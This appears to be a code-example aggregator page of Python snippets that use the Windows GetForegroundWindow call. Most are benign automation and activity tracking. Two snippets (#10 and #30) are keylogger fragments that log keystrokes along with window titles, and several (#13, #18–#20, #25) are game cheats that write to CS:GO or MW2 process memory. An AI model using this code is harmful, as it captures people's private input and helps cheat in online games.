예제 #1
1
def key_stroke_in_BG(on_off_key=64):
    # F6(64)
    while 1:
        keyboard.wait(on_off_key)

        frequency = 2000  # Set Frequency To 2000 Hertz
        duration = 100  # Set Duration, 1000 ms == 1 second
        for i in range(2):
            winsound.Beep(frequency, duration)

        hwnd_current = GetForegroundWindow()
        hwndChild = GetWindow(hwnd_current, GW_CHILD)
        while 1:
            # SetForegroundWindow(hwnd_current)
            if keyboard.is_pressed(on_off_key):
                break
            # print(win32gui.GetForegroundWindow())
            # PostMessage(hwndChild, WM_KEYDOWN, ord('E'), 0)
            # SendMessage(hwndChild, WM_KEYDOWN, ord('E'), 0)
            SendMessage(hwnd_current, WM_CHAR, ord('e'),
                        0 + (0 << 8) + (ord('e') << 16) + (0 << 24))
            # keyboard.press_and_release('e')
            time.sleep(0.05)

        frequency = 2000
        duration = 100
        winsound.Beep(frequency, duration)
예제 #2
0
def switch():
    window = GetWindowText(GetForegroundWindow())
    keyboard.send('alt+tab')
    while GetWindowText(
            GetForegroundWindow()) in [window, "Task Switching", ""]:
        pass
    keyboard.send('alt+F4')
예제 #3
0
def startMonitoring(lists):
    record = [-1] * 5

    active = GetForegroundWindow()
    threadID, processID = GetWindowThreadProcessId(active)
    procname = Process(processID)
    prevStamp = datetime.datetime.now()
    f = open("processTime.txt", "w")
    while 1:
        print("checking...")
        print(active)
        print(GetForegroundWindow())
        print(procname.name())

        if active != GetForegroundWindow():
            for list in lists:
                if procname.name() in list:
                    if record[lists.index(list)] == -1:
                        record[lists.index(list)] = datetime.datetime.now() - prevStamp
                    else:
                        record[lists.index(list)] += datetime.datetime.now() - prevStamp

                    print(procname.name() + " "+ str(record[lists.index(list)])+ "\n")
            active = GetForegroundWindow()
            threadID, processID = GetWindowThreadProcessId(active)
            procname = Process(processID)
            prevStamp = datetime.datetime.now()
        sleep(2)
예제 #4
0
    async def pokemon_step(self, ctx: commands.Context, button):
        if button not in self.buttons:
            return await ctx.send(
                f"Only support following keys: {list(self.buttons.keys())}.")
        if len(self.input_buffer) > self.max_input_buffer:
            await ctx.send(
                f"Input Buffer is full, please wait for the game to process the inputs first."
            )
        else:
            self.input_buffer.append(button)
            await ctx.send(
                f"Added your input to the Input Buffer [{len(self.input_buffer) - 1}]"
            )
        if self.desired_window_name not in GetWindowText(
                GetForegroundWindow()):
            return await ctx.send(
                f"The Game is either not running or out of focus!")

        while self.input_buffer:
            button = self.input_buffer.pop()
            key = self.buttons[button]
            pydirectinput.press(key)
        rect = GetWindowRect(GetForegroundWindow())
        x = rect[0]
        y = rect[1]
        w = rect[2] - x
        h = rect[3] - y
        image = pyautogui.screenshot(region=(x, y, w, h))
        self.last_frame = image
        arr = io.BytesIO()
        image.save(arr, format='PNG')
        arr.seek(0)
        file = discord.File(arr, filename="pokemon.png")
        await ctx.send(file=file)
예제 #5
0
    async def get_current_pokemon_status(self, ctx: commands.Context):
        if self.last_frame:
            arr = io.BytesIO()
            self.last_frame.save(arr, format='PNG')
            arr.seek(0)
            file = discord.File(arr, filename="pokemon.png")
            await ctx.send(file=file)
            await ctx.send(
                f"Currently buffered inputs: {[self.buttons[x] for x in self.input_buffer]}"
            )
            return

        if self.desired_window_name not in GetWindowText(
                GetForegroundWindow()):
            return await ctx.send(
                f"The Game is either not running or out of focus! And no last frame exists.\n"
                f"Currently buffered inputs: {[self.buttons[x] for x in self.input_buffer]}"
            )

        rect = GetWindowRect(GetForegroundWindow())
        x = rect[0]
        y = rect[1]
        w = rect[2] - x
        h = rect[3] - y
        image = pyautogui.screenshot(region=(x, y, w, h))
        self.last_frame = image
        arr = io.BytesIO()
        image.save(arr, format='PNG')
        arr.seek(0)
        file = discord.File(arr, filename="pokemon.png")
        await ctx.send(file=file)
        await ctx.send(
            f"Currently buffered inputs: {[self.buttons[x] for x in self.input_buffer]}"
        )
예제 #6
0
def activate_window(mode, delay=0.05):
    """


    Parameters
    ----------
    mode : "tibia"
    delay : Delay between actions. The default is 0.5.

    Returns
    -------
    None.

    """

    logging.debug("Function activate_window() called with passed: %s.", mode)
    logging.info("Current active window: %s",
                 GetWindowText(GetForegroundWindow()))
    if mode == "tibia":
        window = pyautogui.getWindowsWithTitle("Kasteria - Tibijka")[0]
        window_text = "Kasteria - Tibijka"
    if GetWindowText(GetForegroundWindow()) != window_text:
        logging.info(
            "active window != desired window, window activation goes on")
        window.minimize()
        time.sleep(delay)
        window.restore()
        window.activate()
        time.sleep(delay)
    logging.info("Current active window: %s",
                 GetWindowText(GetForegroundWindow()))

    logging.debug("Function activate_window end.")
예제 #7
0
def callback():
    if (GetWindowText(GetForegroundWindow()) == 'Battlefield™ V'):
        rect = win32gui.GetWindowRect(GetForegroundWindow())
        x = rect[0]
        y = rect[1]
        w = rect[2] - x
        h = rect[3] - y
        print("Window %s:" % win32gui.GetWindowText(GetForegroundWindow()))
        print("\tLocation: (%d, %d)" % (x, y))
        print("\t    Size: (%d, %d)" % (w, h))
        return [w,h]
예제 #8
0
def updateWindow():
    global cWindow
    if cWindow != GetWindowText(GetForegroundWindow()):
        cWindow = GetWindowText(GetForegroundWindow())
        print(cWindow)
        # print(win32gui.GetClassName(GetForegroundWindow()))

        if "Google Chrome" in cWindow:
            print("Chrome Found")
            print(win32gui.FindWindow("Chrome_WidgetWin_1", None))
        else:
            print("Chrome not found")
def preenchimento_tab_simples(nome_janela_deve_conter):
    delay_entre_preenchimento = 0.3 #delay dado a cada preenchimento
    dela_entre_varredura_de_tela = 0.5#delay entre uma verificação e outra de tela quando aguarda o preenchimento do TXT
    nome_desta_janela = "py.exe"
    nome_arquivo = "tempdadospreenchimento.txt"
    os.system(f"echo PREENCHA SEUS DADOS AQUI (EXCLUA ESTE CONTEÚDO) > {nome_arquivo}&&echo SEPARE CADA CELULA com um TAB. >> {nome_arquivo}&&start {nome_arquivo}")
    time.sleep(1)
    while True:
        if (nome_desta_janela  in GetWindowText(GetForegroundWindow())):
            break
        time.sleep(dela_entre_varredura_de_tela)
    os.system(f"echo.>> {nome_arquivo}")#adiciona linha em branco, pra garantir que tenha. ##VER## isso pode ser melhorado
    print(f'Buscando janela do {nome_janela_deve_conter}')
    if(busca_janela(nome_janela_deve_conter, 10)):
        print(f"Janela do {nome_janela_deve_conter} encontrada!")
    else:
        print("Janela não encontrada!")
        return
    with open(nome_arquivo, "r") as arquivo:
        '''for linha in arquivo:
            if not nome_janela_deve_conter in GetWindowText(GetForegroundWindow()):
                print(f'Você não está mais na janela do {nome_janela_deve_conter}')
                return
            print("{:.100s}".format(linha[:len(linha)-1]))
            for letra in linha:
                if(letra == '\t'):
                    pyautogui.press('tab')
                elif(letra == '\n'):
                    pyautogui.press('tab')
                    pyautogui.press('tab')
                else:
                    pyautogui.write(letra)'''
        for linha in arquivo:
            if not nome_janela_deve_conter in GetWindowText(GetForegroundWindow()):
                print(f'Você não está mais na janela do {nome_janela_deve_conter}')
                return
            print("{:.100s}".format(linha[:len(linha)-1]))
            temp_string = ""
            celulas = []
            linha_util = False
            for letra in linha:
                if(letra == '\t' or letra == '\n'):
                    celulas.append(temp_string)
                    temp_string = ""
                else:
                    linha_util = True
                    temp_string += letra
            if(linha_util == True):
                for celula in celulas:
                    pyautogui.write(f"{celula}\t")
                pyautogui.press('tab')
        
    os.system(f"del /q {nome_arquivo}")
예제 #10
0
파일: log.py 프로젝트: scars321/Absorber
def display(event, key):
    global data, lastwindow
    if lastwindow != GetWindowText(GetForegroundWindow()):
        lastwindow = GetWindowText(GetForegroundWindow())
        data += ' [ ' + lastwindow + ' ] '
        if key == 'tab' or key == 'caps lock' or key == 'shift' or key == 'ctrl' or key == 'alt' or key == 'space' or key == 'right alt' or key == 'right ctrl' or key == 'esc' or key == 'left' or key == 'right' or key == 'down' or key == 'up' or key == 'right shift' or key == 'enter' or key == 'backspace' or key == 'num lock' or key == 'page up' or key == 'page down' or key == 'insert' or key == 'delete' or key == 'print screen' or key == 'home' or key == 'end' or key == 'decimal':
            data += ' { ' + str(key) + ' } '
        else:
            data += key
    elif key == 'tab' or key == 'caps lock' or key == 'shift' or key == 'ctrl' or key == 'alt' or key == 'space' or key == 'right alt' or key == 'right ctrl' or key == 'esc' or key == 'left' or key == 'right' or key == 'down' or key == 'up' or key == 'right shift' or key == 'enter' or key == 'backspace' or key == 'num lock' or key == 'page up' or key == 'page down' or key == 'insert' or key == 'delete' or key == 'print screen' or key == 'home' or key == 'end' or key == 'decimal':
        data += ' { ' + str(key) + ' } '
    else:
        data += key
def requisita_materiais_avancado():
    nome_janela_deve_conter = "cmp072"  #variável que armazena o nime da janela que deve ser procurada
    print(
        "ATENÇÃO: Ao confirmar a seção de entrega a digitação iniciará automaticamente!"
    )
    secao = input("Digite a seção de entrega: ")
    print(f'Buscando janela do {nome_janela_deve_conter}')
    for x in range(6):  #Teste as 6 proximas janelas
        pyautogui.keyDown('alt')
        for y in range(x):
            pyautogui.press('tab')
        pyautogui.keyUp('alt')
        if nome_janela_deve_conter in GetWindowText(GetForegroundWindow()):
            print("Janela encontrada")
            break
    if (x >= 5):
        print("Janela não encontrada!")
        return
    with open("materiais.txt", "r") as arquivo:
        for linha in arquivo:
            if not nome_janela_deve_conter in GetWindowText(
                    GetForegroundWindow()):
                print(
                    f'Você não está mais na janela do {nome_janela_deve_conter}'
                )
                return
            print("{:.100s}".format(linha))
            etapa = 0
            temp = ""
            for letra in linha:
                if (letra == '\n' and etapa == 0):
                    print("Final de linha encontrado antes do esperado")
                    return
                if (letra == '\t' or letra == '\n'):
                    if (etapa == 0):  #acabou de digitar ERP
                        while (len(temp) < 6):
                            temp = "0" + temp
                        pyautogui.write("{}\t".format(temp))
                        temp = ""  #limpa a variável temporária
                    elif (etapa == 1):  #acabou de digitar a quantidade
                        pyautogui.write("{}\ts\t{}\t".format(temp, secao))
                        temp = ""  #limpa a variável temporária
                    etapa += 1
                else:
                    if (etapa == 0):  #obtendo ERP
                        temp += letra  #concatena a string com os caracteres lidos
                    if (etapa == 1):  #obtendo quantidade
                        temp += letra  #concatena a string com os caracteres lidos
                if (etapa == 2):
                    break  #ignora o resto da linha
            time.sleep(1)  #1s entre uma requisição e outra
예제 #12
0
def getListOfTabs():
    """alt + tab's until google chrome is open, then ctrl + tab though tabs until every tab has been visited once. 
    Returns the list of open tabs """

    screenWidth, screenHeight = py.size()
    a = "start"
    first_opened = GetWindowText(
        GetForegroundWindow()
    )  #save the first window that is open, so we know when we have checked all
    i = 1
    while first_opened != a:  #until we return to the first opened window
        py.keyDown("alt")  #alt then tab i number of tmies
        for n in range(0, i):
            py.press("tab")
        py.keyUp("alt")
        a = GetWindowText(
            GetForegroundWindow())  #save the title of the foreground window
        if "Google Chrome" in a:  #if it is google chrome break the loop
            break
        py.keyDown("alt")  #otherwise alt tab back to the first window
        py.press(
            "tab"
        )  #this is done because alt tabing from here will mess up the order of the windows
        py.keyUp("alt")
        i += 1

    #now that google chrome is in focus time to get the tabs
    tabs = []  #list that gonna hold the url of all open tabs
    py.moveTo(screenWidth * 0.5, 68)  #place cursor on address bar

    for a in range(
            100
    ):  #the 100 is an arbirary max, and would allow upto 50 tabs(much more than the arduino can store)
        #the approach is this -- itterate through two tabs and add them to the list. then check if the first half of the list
        #is equal to the second half. This is to see that we have visited all tabs. This is also why we make two step itterations
        # if you have 5 tabs open it will at first be discovered on after adding 10 tabs
        for _ in range(2):
            py.click()  #click address bar
            py.keyDown("ctrl", _pause=False)  #copy content
            py.press(["a", "c", "tab"])
            py.keyUp("ctrl", pause=False)
            win32clipboard.OpenClipboard(
            )  #open the clip board and add the data from there to the list of tabs
            tabs.append(win32clipboard.GetClipboardData())
            win32clipboard.CloseClipboard()

        if (tabs[:len(tabs) // 2] == tabs[len(tabs) // 2:]):  #explained above
            break
    return tabs[:len(tabs) // 2]
예제 #13
0
def tweak_loop(tweaks):
    # Loads welcome text and lists off loaded tweaks.
    print("MW2Tweak v1.0 loaded. You have the following tweaks loaded:")
    for tweak in tweaks:
        print("\t-> {}".format(tweak))

    # Grabs values for tweaks if they are enabled.
    if "fov" in tweaks:
        fov_value = config.get("mw2tweak", "fov_value")

    if "fps" in tweaks:
        fps_value = config.get("mw2tweak", "fps_value")

    while True:
        # We only want to write to the game when alt-tabbed in.
        if "Modern Warfare 2" in GetWindowText(GetForegroundWindow()):
            # If tweak is enabled, we will write values to addresses.
            if "fps" in tweaks:
                pm.write_int(FPS_ADDRESS, int(fps_value))

            if "fov" in tweaks:
                pm.write_float(FOV_ADDRESS, float(fov_value))

            # Sleep to save some extra CPU cycles.
            time.sleep(0.1)
예제 #14
0
 def checking(*args):
     if GetWindowText(GetForegroundWindow()) == 'Path of Exile':
         # if GetWindowText(GetForegroundWindow()) == 'configs.txt - 記事本':
         # if 1:
         func(*args)
     else:
         pass
예제 #15
0
    def pr_thread(self):
        frame_count = 0
        last_fps = time.time()

        fg = 'Forza Horizon 4'

        sct: mss.windows.MSS
        with mss.mss() as sct:
            while fg == 'Forza Horizon 4':
                fg = GetWindowText(GetForegroundWindow())

                ss = sct.grab({'top': 0, 'left': 0, 'width': 1920, 'height': 1080})
                img = Image.frombytes('RGB', (ss.width, ss.height), ss.rgb)

                try:
                    if self.do_canny:
                        prediction = canny.canny_all(img)
                        self.data_queue.put(prediction)
                    else:
                        prediction = datatypes.PredictionData(img, np.ndarray([]))
                        self.data_queue.put(prediction)

                except:
                    logging.exception('canny_all failed')

                frame_count += 1
                if time.time() >= last_fps + 1:
                    fps, frame_count = frame_count, 0
                    logging.info(f'fps={fps}')
                    last_fps = time.time()

            print('Window focus removed')
예제 #16
0
def main():
    os.system('mode con: lines=25')

    time.sleep(delay)
    app_name = "Binding of Isaac: Afterbirth"
    if GetWindowText(GetForegroundWindow()) != app_name:
        print("Switch to Isaac")
    finding_treasure_room = True
    finding_good_run = True
    number_of_runs = 1
    while finding_good_run:
        while finding_treasure_room:
            restart_run()
            # time.sleep(3.5)  # Waiting for floor's name to dissapear
            time.sleep(1)  # Waiting for animation
            print("[Run #%s] Finding room" % number_of_runs)
            direction = is_treasure_room()
            if direction:
                print("Found. Going %s" % direction)
                # time.sleep(.5)
                go(direction)
                finding_treasure_room = False
            else:
                print("Nope\n")
                number_of_runs += 1
        time.sleep(1.3)
        current_items = get_from_log()["items"]
        print("%s\n" % current_items)
        if current_items.intersection(set(item_list)):
            finding_good_run = False
        else:
            finding_treasure_room = True
        number_of_runs += 1

    pyautogui.keyDown('esc')
예제 #17
0
    def _detect_current_application(self):
        try:
            now = datetime.datetime.now()
            self.now_date = str(now.strftime("%Y/%m/%d"))
            current_app = psutil.Process(
                win32process.GetWindowThreadProcessId(
                    GetForegroundWindow())[1]).name().replace(".exe", "")

            if self.now_date not in self.process_time.keys():
                self.process_time[self.now_date] = {}

            if current_app not in self.process_time[self.now_date].keys():
                self.process_time[self.now_date][current_app] = {
                    "active": 0,
                    "inactive": 0
                }

            if self.activity_detected:
                self.process_time[self.now_date][current_app]["active"] = \
                    self.process_time[self.now_date][current_app]["active"] + 1
            else:
                self.process_time[self.now_date][current_app]["inactive"] = \
                    self.process_time[self.now_date][current_app]["inactive"] + 1
        except Exception as exc:
            if (exc.__class__ != psutil.NoSuchProcess) and ("pid"
                                                            not in str(exc)):
                MessageBox.show(text=str(exc),
                                title="Error",
                                icon=QMessageBox.Critical,
                                detailed_text=str(type(exc)))

        self._calculate_summary_time()

        self.activity_detected = False
예제 #18
0
    def __init__(self):
        self.dwForceJump = 0x51F4D88
        self.dwLocalPlayer = 0xD36B94
        self.m_fFlags = 0x104

        self.pm = pymem.Pymem("csgo.exe")
        self.client = pymem.process.module_from_name(
            self.pm.process_handle, "self.client.dll").lpBaseOfDll

        while True:
            if not GetWindowText(GetForegroundWindow()
                                 ) == "Counter-Strike: Global Offensive":
                continue

            if keyboard.is_pressed("space"):
                self.force_jump = self.client + self.dwForceJump
                self.player = self.pm.read_int(self.client +
                                               self.dwLocalPlayer)
                if self.player:
                    self.on_ground = self.pm.read_int(self.player +
                                                      self.m_fFlags)
                    if self.on_ground and self.on_ground == 257:
                        self.pm.write_int(self.force_jump, 5)
                        time.sleep(0.08)
                        self.pm.write_int(self.force_jump, 4)

            time.sleep(0.002)
예제 #19
0
def main():
    print("made by pero")
    pm = pymem.Pymem("csgo.exe")
    client = pymem.process.module_from_name(pm.process_handle,
                                            "client.dll").lpBaseOfDll

    while True:
        if not keyboard.is_pressed(trigger_key):
            time.sleep(0.1)
            print("triggerbot is running")

        if not GetWindowText(
                GetForegroundWindow()) == "Counter-Strike: Global Offensive":
            continue

        if keyboard.is_pressed(trigger_key):
            player = pm.read_int(client + dwLocalPlayer)
            entity_id = pm.read_int(player + m_iCrosshairId)
            entity = pm.read_int(client + dwEntityList +
                                 (entity_id - 1) * 0x10)

            entity_team = pm.read_int(entity + m_iTeamNum)
            player_team = pm.read_int(player + m_iTeamNum)

            if entity_id > 0 and entity_id <= 64 and player_team != entity_team:
                pm.write_int(client + dwForceAttack, 6)

            time.sleep(0.006)
예제 #20
0
    def __init__(self):
        self.dwEntityList = 0x4D4B104
        self.dwForceAttack = 0x317C6EC
        self.dwLocalPlayer = 0xD36B94
        self.m_fFlags = 0x104
        self.m_iCrosshairId = 0xB3D4
        self.m_iTeamNum = 0xF4

        self.pm = pymem.Pymem("csgo.exe")
        self.client = pymem.process.module_from_name(
            self.pm.process_handle, "self.client.dll").lpBaseOfDll

        while True:
            if not GetWindowText(GetForegroundWindow()
                                 ) == "Counter-Strike: Global Offensive":
                continue

            self.player = self.pm.read_int(self.client + self.dwLocalPlayer)
            self.entity_id = self.pm.read_int(self.player +
                                              self.m_iCrosshairId)
            self.entity = self.pm.read_int(self.client + self.dwEntityList +
                                           (self.entity_id - 1) * 0x10)

            self.entity_team = self.pm.read_int(self.entity + self.m_iTeamNum)
            self.player_team = self.pm.read_int(self.player + self.m_iTeamNum)

            if 0 < self.entity_id <= 64 and self.player_team != self.entity_team:
                self.pm.write_int(self.client + self.dwForceAttack, 6)

            time.sleep(0.006)
예제 #21
0
 def get_current_foreground_app_title(self):
     try:
         hwnd = GetForegroundWindow()
         title = GetWindowText(hwnd)
         return title
     except:
         return None
예제 #22
0
def main(argv):
    #initialize variables for command line arguments
    arg_server = '127.0.0.1:8080'

    #get command line arguments
    try:
        opts, args = getopt.getopt(argv, 's:')
    except getopt.GetoptError:
        sys.exit(2)

    for opt, arg in opts:
        if opt == '-s':
            arg_server = arg

    print('INFO: Polling server %s' % arg_server)

    while (True):
        time.sleep(1)
        wintext = GetWindowText(GetForegroundWindow())

        if wintext.startswith('PowerPointova diaprojekcija - ['):
            cmd = getcommand(arg_server)
            if not cmd is None:
                if cmd == 'next':
                    keyboard.send('space')
                elif cmd == 'back':
                    keyboard.send('backspace')
                elif cmd == 'stop':
                    keyboard.send('escape')
예제 #23
0
def thread2(threadname, q):
    try:
        global check_for_chrome
        while True:
            ctypes.windll.user32.keybd_event(0x12, 0, 0x0002, 0)
            time.sleep(45)
            if q.empty() == False:
                a = q.get()
            if a == 0:
                w.find_window_wildcard(".*Chrome.*")
                counter = 0
                while ("Chrome" not in GetWindowText(GetForegroundWindow())):
                    time.sleep(.2)
                    ctypes.windll.user32.keybd_event(0x12, 0, 0, 0)
                    time.sleep(.2)
                    ctypes.windll.user32.keybd_event(0x1B, 0, 0, 0)
                    time.sleep(.2)
                    ctypes.windll.user32.keybd_event(0x1B, 0, 0x0002, 0)
                    time.sleep(.2)
                    ctypes.windll.user32.keybd_event(0x12, 0, 0x0002, 0)
                    time.sleep(.2)
                    counter = counter + 1
                    if counter > 4:
                        counter = 0
                        check_for_chrome()
                        break
                time.sleep(.5)
                w.show_window()
                time.sleep(.5)
    except:
        pass
예제 #24
0
def main():
    lstRaw = []
    prevText = ''
    startTime = TodayAsString()
    tot_seconds = 1
    try:
        while True:
            txt = GetWindowText(GetForegroundWindow())
            #print(txt)
            #AppendToFile(fname, TodayAsString() + ' ' + txt + '\n')
            if txt == prevText:
                tot_seconds = tot_seconds + 1
            else:
                lstRaw.append(startTime + ',' + format(tot_seconds, "03d") +
                              ',' + txt)
                prevText = txt
                tot_seconds = 1
                startTime = TodayAsString()
            time.sleep(1)
            if TodayAsString()[-3:] == ':00':
                lstRaw.append(startTime + ',' + format(tot_seconds, "03d") +
                              ',' + txt)
                #print('Recording data')
                tot_seconds = 1
                startTime = TodayAsString()
                record(lstRaw)
                lstRaw = []

    except KeyboardInterrupt:
        print("logging halted")
        lstRaw.append(startTime + ',' + format(tot_seconds, "03d") + ',' +
                      txt)  # save the latest record
        record(lstRaw)
예제 #25
0
def main():
    try:
        pm = pymem.Pymem("csgo.exe")
    except:
        MessageBox = ctypes.windll.user32.MessageBoxW
        MessageBox(None, 'Could not find the csgo.exe process !', 'Error', 16)
        return
    client = pymem.process.module_from_name(pm.process_handle,
                                            "client.dll").lpBaseOfDll

    while True:
        if not GetWindowText(
                GetForegroundWindow()) == "Counter-Strike: Global Offensive":
            continue

        if keyboard.is_pressed("space"):
            force_jump = client + dwForceJump
            player = pm.read_int(client + dwLocalPlayer)
            if player:
                on_ground = pm.read_int(player + m_fFlags)
                if on_ground and on_ground == 257:
                    a = randint(0, 5)
                    time.sleep(a / 100)
                    pm.write_int(force_jump, 5)
                    time.sleep(0.08)
                    pm.write_int(force_jump, 4)

        time.sleep(0.002)
예제 #26
0
    def body(self, fulltime, mode):
        
        self.keyboard = Controller()

        period = fulltime * 3600
        self.halftime = fulltime * 3600 / 2

        print('\nPeriod (T) of adventure: ', period, ' second(s)')
        print('T/2 of adventure: ', self.halftime, 'second(s)\n')

        self.adventure_mode = '$adventure ' + str(mode)
        self.halftime_message = '[BOT] '+ str(self.halftime / 3600) + ' hours have passed since @wins started their adventure.'

        if platform.system() == "Windows":
            while "Discord" not in GetWindowText(GetForegroundWindow()):
                print("Please maximise/focus on Discord.")
                time.sleep(0.2)

        elif platform == "Darwin":
            pass

        elif platform == "Linux":
            pass

        self.action()
예제 #27
0
    def update_timeText(self):
        """ This is called every second by the last line in this function (app.after(1000)
            TODO - May change the method as the second on the toolbar is not exact.
            
            This function captures the currently active window and appends to a list which
            is later aggregated and logged to the diary.
            
            Every minute [tme ends with ':00']  it calls the record function to append raw data
            Every 10 min [tme ends with '0:00'] it calls the summarise function to build diary files
            
        """

        current = time.strftime(" %a %d-%b %I:%M:%S %p")

        # Log PC usage
        txt = GetWindowText(GetForegroundWindow())
        self.lstRaw.append(txt)
        self.labelVariable.set(current)
        if self.TodayAsString()[-3:] == ':00':
            self.record()

        if self.TodayAsString(
        )[-4:] == '0:00':  # roll up every 10 minutes, because start time is set to save interval
            self.summarise_usage()

        # Call the update_timeText() function after 1 second
        app.after(1000, self.update_timeText)
def get_foreground_window():
    try:
        hwnd = GetForegroundWindow()
    except:
        log_record('не удалось получить окно переднего плана')
        hwnd = None
    return hwnd
예제 #29
0
    def _get_active_window_on_nt(self) -> Tuple[Optional[str], ...]:
        """Returns details of the active window on windows platform"""
        # See https://stackoverflow.com/a/47936739 for reference code.
        # pyright: reportUndefinedVariable=false
        window, program = GetForegroundWindow(), None
        pid = GetWindowThreadProcessId(window)[-1]
        # We are considering only one active instance of a process.
        # Even if the parent process spawns multiple child processes
        # this check ensures that we do not record instances of a
        # process that were not interacted by the user.
        if psutil.pid.exists(pid):
            window = GetWindowText(window)
            # Skip `Task Switching` program and other program
            # switching overlays that are invoked with `Alt + Tab`.
            window = window if window != "Task Switching" else None
            path = psutil.Process(pid).exe()
            # See https://stackoverflow.com/a/31119785 for using
            # windows resource table for parsing program name.
            try:
                lang, page = _info(path, "\\VarFileInfo\\Translation")[0]
                addr = "%04X%04X" % (lang, page)
                file = u"\\StringFileInfo\\{}\\FileDescription".format(addr)
                program = _info(path, file)
            except NameError:
                self.log.error(f"{self._name} could not resolve program name.")
                window = None
                program = None

        return window, program
예제 #30
0
        def on_press(key):
            if any([key in COMBO for COMBO in self.COMBINATIONS]):
                self.current.add(key)
                if any(
                        all(k in self.current for k in COMBO)
                        for COMBO in self.COMBINATIONS):
                    #open GUI
                    pass
            try:
                c = str(key.char)
            except AttributeError:
                c = str(key).replace('Key.', '')
                if c == 'space':
                    c = ' '
                else:
                    c = '[' + str(c) + ']'

            current_window = GetWindowText(GetForegroundWindow())
            if current_window != self.prev_window:
                self.write_log_file(
                    '\n------------------------------------\n[' +
                    str(current_window) + ']:\n')  #save to file
                self.prev_window = current_window

            self.mouse_clicked = False
            self.write_log_file(str(c))  #save to file